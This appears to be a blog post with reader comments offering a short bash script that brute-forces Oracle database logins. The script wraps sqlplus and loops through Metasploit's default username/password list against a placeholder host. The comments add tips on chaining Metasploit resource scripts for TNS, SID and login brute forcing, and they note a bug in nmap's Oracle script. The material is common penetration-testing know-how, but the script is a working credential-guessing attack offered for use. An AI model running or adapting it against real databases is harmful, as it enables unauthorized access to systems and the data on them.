Quick and Dirty Oracle Brute Forcing


Here is a quick bash script to wrap sqlplus for some brute forcing if for whatever reason nmap is failing to get the job done...and thus metasploit is failing to get the job done since the oracle_login module just calls nmap


#!/bin/bash
INPUT=oracle_defaults.csv
OLDIFS=$IFS
IFS=,
[ ! -f $INPUT ] && { echo "$INPUT file not found"; exit 99; }
while read comment number username password hash comment
do
echo "string = $username:$password"
/opt/oracle/instantclient_10_2/sqlplus -L $username\/$password\@1.2.3.4:1521\/ORCL
done < $INPUT
IFS=$OLDIFS



What this will do is use the default oracle username/password list that ships with metasploit, parse that csv, and shove the username and password into the sqlplus command.  If you guess one right the script will hang with you logged in with the guessed account.

Cheers

There are actually two oracle_logins for metasploit, one that uses nmap and one that uses oci8. The rc scripts I wrote help with brute forcing alot (run (with db connected) scripts/resource/oracle_tns first, then oracle_sids, then oracle_login). Since submitting those, I made some modifications to them that allow you to set a global variable to define the networks/hosts to scan or otherwise filter things, but never bothered to push them as the submit process is kinda painful now.

nmap Oracle brute force script library (tns.lua) has a bug. He try to connect to Oracle using SERVICE_NAME, however, input paramater named SID.
